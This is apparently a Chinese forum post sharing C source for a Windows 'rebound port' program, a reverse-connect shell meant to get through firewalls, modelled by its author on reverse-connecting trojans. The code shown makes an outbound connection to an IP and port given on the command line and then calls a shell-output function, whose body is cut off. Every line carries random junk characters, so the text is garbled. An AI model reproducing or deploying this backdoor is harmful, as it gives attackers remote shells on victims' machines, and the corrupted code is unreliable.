这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 UCI !>G
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/* ============================== W'f)W4D$6
Rebound port in Windows NT i3U_G^8
By wind,2006/7 Ztj~Q 9mu
===============================*/ R d>PE=u
#include V^qkHm e
#include .;jp2^
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#pragma comment(lib,"wsock32.lib") #ByrX\
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void OutputShell(); 8mv}-;
SOCKET sClient; *."a>?D~
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; TY*uK
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void main(int argc,char **argv) k C=h[<'
{ be+tAp`
WSADATA stWsaData; D5jZ;z}
int nRet; o 12wp
SOCKADDR_IN stSaiClient,stSaiServer; aT20FEZ;
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if(argc != 3) zjUT:#(k
{ 2t1u{
printf("Useage:\n\rRebound DestIP DestPort\n"); UwVc!Lys
return; W~2T/~M
} CyV(+KBe_
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WSAStartup(MAKEWORD(2,2),&stWsaData); -/gAb<=
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mxkv{;ad
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stSaiClient.sin_family = AF_INET; N!YjM x)P
stSaiClient.sin_port = htons(0); oz#;7
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (#5TM1/A
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) I'a&n}jx
{ O+*<^*YyD
printf("Bind Socket Failed!\n"); jb0LMl}/A
return; RAi]9` *7
} w5R?9"d@
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stSaiServer.sin_family = AF_INET; :%kJ9zW
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &N\4/'wV
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); X}RQ&k
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8 rA'd
{ {aVL3QU
printf("Connect Error!"); k!=
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return; 5#hsy;q;[
} iqTGh*k
OutputShell(); Z!SFJ{
} i5G"@4(
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void OutputShell() x&